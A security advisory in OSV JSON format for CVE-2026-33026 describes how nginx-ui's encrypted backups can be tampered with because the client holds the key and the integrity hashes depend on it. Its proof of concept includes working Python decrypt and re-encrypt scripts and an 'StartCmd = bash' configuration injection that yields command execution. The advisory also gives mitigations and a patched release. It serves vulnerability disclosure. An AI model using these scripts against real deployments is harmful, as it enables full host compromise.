CVE-2026-33026: Github.com/0xJacky/Nginx UI Nginx-ui Backup Restore Allows Tampering Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fhh2-gg7w-gwpq",
  "modified" : "2026-07-06T19:35:49Z",
  "published" : "2026-03-30T16:23:34Z",
  "aliases" : [ "CVE-2026-33026" ],
  "summary" : "nginx-ui Backup Restore Allows Tampering with Encrypted Backups",
  "details" : "## Summary\nThe `nginx-ui` backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.\n\n## Details\nThe backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (`hash_info.txt`) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.\n\nBecause the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.\n\nThe backup system is built around the following workflow:\n\n1. Backup files are compressed into `nginx-ui.zip` and `nginx.zip`.\n2. The files are encrypted using AES-256-CBC.\n3. SHA-256 hashes of the encrypted files are stored in `hash_info.txt`.\n4. The hash file is also encrypted with the same AES key and IV.\n5. The AES key and IV are provided to the client as a \"backup security token\".\n\nThis architecture creates a circular trust model:\n\n- The encryption key is available to the client.\n- The integrity metadata is encrypted with that same key.\n- The restore process trusts hashes contained within the backup itself.\n\nBecause the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.\n\n### Environment\n- **OS**: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)\n- **Application Version**: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)\n- **Deployment**: Docker Container default installation\n- **Relevant Source Files**:\n  - `backup_crypto.go`\n  - `backup.go`\n  - `restore.go`\n  - `SystemRestoreContent.vue`\n\n\n## PoC\n1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the `.key` file.\n    <img width=\"1483\" height=\"586\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f\" />\n\n2. Decrypt the `nginx-ui.zip` archive using the obtained token.\n``` \nimport base64\nimport os\nimport sys\nimport zipfile\nfrom io import BytesIO\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    \n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\ndef process_local_backup(file_path, token, output_dir):\n    key_b64, iv_b64 = token.split(\":\")\n    os.makedirs(output_dir, exist_ok=True)\n    print(f\"[*] File processing: {file_path}\")\n    \n    with zipfile.ZipFile(file_path, 'r') as main_zip:\n        main_zip.extractall(output_dir)\n        \n    files_to_decrypt = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n    \n    for filename in files_to_decrypt:\n        path = os.path.join(output_dir, filename)\n        if os.path.exists(path):\n            with open(path, \"rb\") as f:\n                encrypted = f.read()\n            \n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n            \n            out_path = path + \".decrypted\"\n            with open(out_path, \"wb\") as f:\n                f.write(decrypted)\n            print(f\"[*] Successfully decrypted: {out_path}\")\n\n# Manual config\nBACKUP_FILE = \"backup-20260314-151959.zip\" \nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nOUTPUT = \"decrypted\"\n\nif __name__ == \"__main__\":\n    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)\n```\n\n3. Modify the contained `app.ini` to inject malicious configuration (e.g., `StartCmd = bash`).\n4. Re-compress the files and calculate the new SHA-256 hash.\n5. Update `hash_info.txt` with the new, legitimate-looking hashes for the modified files.\n6. Encrypt the bundle again using the original Key and IV.\n```\nimport base64\nimport hashlib\nimport os\nimport zipfile\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\ndef encrypt_file(data, key_b64, iv_b64):\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    return cipher.encrypt(pad(data, AES.block_size))\n\ndef build_rebuilt_backup(files, token, output_filename=\"backup_rebuild.zip\"):\n    key_b64, iv_b64 = token.split(\":\")\n    \n    encrypted_blobs = {}\n    for fname in files:\n        with open(fname, \"rb\") as f:\n            data = f.read()\n        \n        blob = encrypt_file(data, key_b64, iv_b64)\n\n        target_name = fname.replace(\".decrypted\", \"\")\n        encrypted_blobs[target_name] = blob\n        print(f\"[*] Cipher {target_name}: {len(blob)} bytes\")\n\n    hash_content = \"\"\n    for name, blob in encrypted_blobs.items():\n        h = hashlib.sha256(blob).hexdigest()\n        hash_content += f\"{name}: {h}\\n\"\n    \n    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)\n    encrypted_blobs[\"hash_info.txt\"] = encrypted_hash_info\n\n    with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf:\n        for name, blob in encrypted_blobs.items():\n            zf.writestr(name, blob)\n            \n    print(f\"\\n[*] Backup rebuild: {output_filename}\")\n    print(f\"[*] Verificando integridad...\")\n\nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nFILES = [\"nginx-ui.zip.decrypted\", \"nginx.zip.decrypted\"]\n\nif __name__ == \"__main__\":\n    build_rebuilt_backup(FILES, TOKEN)\n```\n7. Upload the tampered backup to the `nginx-ui` restore interface.\n   <img width=\"1059\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a\" />\n\n\n8. **Observation**: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host.\n   <img width=\"1316\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6\" />\n\n\n\n## Impact\nAn attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.\n\nPotential impacts include:\n\n- Persistent configuration tampering\n- Backdoor insertion into nginx configuration\n- Execution of attacker-controlled commands depending on configuration settings\n- Full compromise of the nginx-ui instance\n\nThe severity depends on the restore permissions and deployment configuration.\n\n## Recommended Mitigation\n\n1. **Introduce a trusted integrity root**\nIntegrity metadata must not be derived solely from data contained in the backup. Possible solutions include:\n   - Signing backup metadata using a server-side private key\n   - Storing integrity metadata separately from the backup archive\n\n2. **Enforce integrity verification**\nThe restore operation must abort if hash verification fails.\n\n3. **Avoid circular trust models**\nIf encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.\n\n4. **Optional cryptographic improvements**\nWhile not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.\n\nThis vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.\n\n## Regression\n\nThe previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.\n\nThe backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.\n\nAs a result, the fundamental integrity weakness remains exploitable even after the previous fix.\n\nA patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/0xJacky/Nginx-UI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.10-0.20260315015203-f61bcec547c0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-fhh2-gg7w-gwpq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33026"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/commit/f61bcec547c0f305e35348d6440ef156c1d5c3cb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/0xJacky/nginx-ui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-g9w5-qffc-6762"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2026-4903"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-312", "CWE-347", "CWE-354" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-30T16:23:34Z",
    "nvd_published_at" : "2026-03-30T20:16:22Z"
  }
}